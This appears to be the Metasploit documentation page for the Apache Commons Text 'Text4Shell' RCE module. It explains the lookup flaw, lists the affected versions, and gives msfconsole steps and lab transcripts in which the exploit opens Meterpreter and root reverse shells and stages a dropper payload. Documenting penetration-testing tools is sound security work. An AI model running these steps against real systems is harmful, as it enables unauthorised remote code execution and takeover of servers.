metasploit-gs/documentation/modules/exploit/multi/http/apache_commons_text4shell.md

Vulnerable Application

This exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to Remote Code Execution. This is due to a logic flaw that makes the “script”, “dns” and “url” lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the "script" key.

In order to exploit the vulnerabilities, the following requirements must be met:

Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15

Testing

Follow the steps in this PoC to setup the environment

Verification Steps

1. Setup the application
2. Start msfconsole
3. Do: use apache_commons_text4shell
4. Set the required options: RHOST, RPORT, TARGETURI, PARAM, METHOD, TARGET, LHOST
5. Do: run

Options

PARAM

The parameter vulnerable to the exploit.

METHOD

The HTTP method to use. Default: GET

TARGETURI

The URI to target. Default: /

Scenarios

Apache Commons Text 1.8 on Alpine Linux v3.9

Check:

msf6 exploit(multi/http/apache_commons_text4shell) > check

[*] Performing command injection test issuing a sleep command of 5 seconds.
[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection.

Target: java

msf6 > use exploit/multi/http/apache_commons_text4shell
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2
rhost => 172.17.0.2
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080
rport => 8080
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack
targeturi => /text4shell/attack
msf6 exploit(multi/http/apache_commons_text4shell) > set param search
param => search
msf6 exploit(multi/http/apache_commons_text4shell) > set target 0
target => 0
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/
[*] Sending stage (57692 bytes) to 172.17.0.2
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530
[*] Server stopped.

meterpreter >

Target: Linux Command

msf6 exploit(multi/http/apache_commons_text4shell) > set target 3
target => 3
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Target: Linux Dropper

msf6 exploit(multi/http/apache_commons_text4shell) > set target 4
target => 4
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/
[*] Client 172.17.0.2 requested /L8kRU1E8O/
[*] Sending payload to 172.17.0.2
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530
[*] Server stopped.

meterpreter >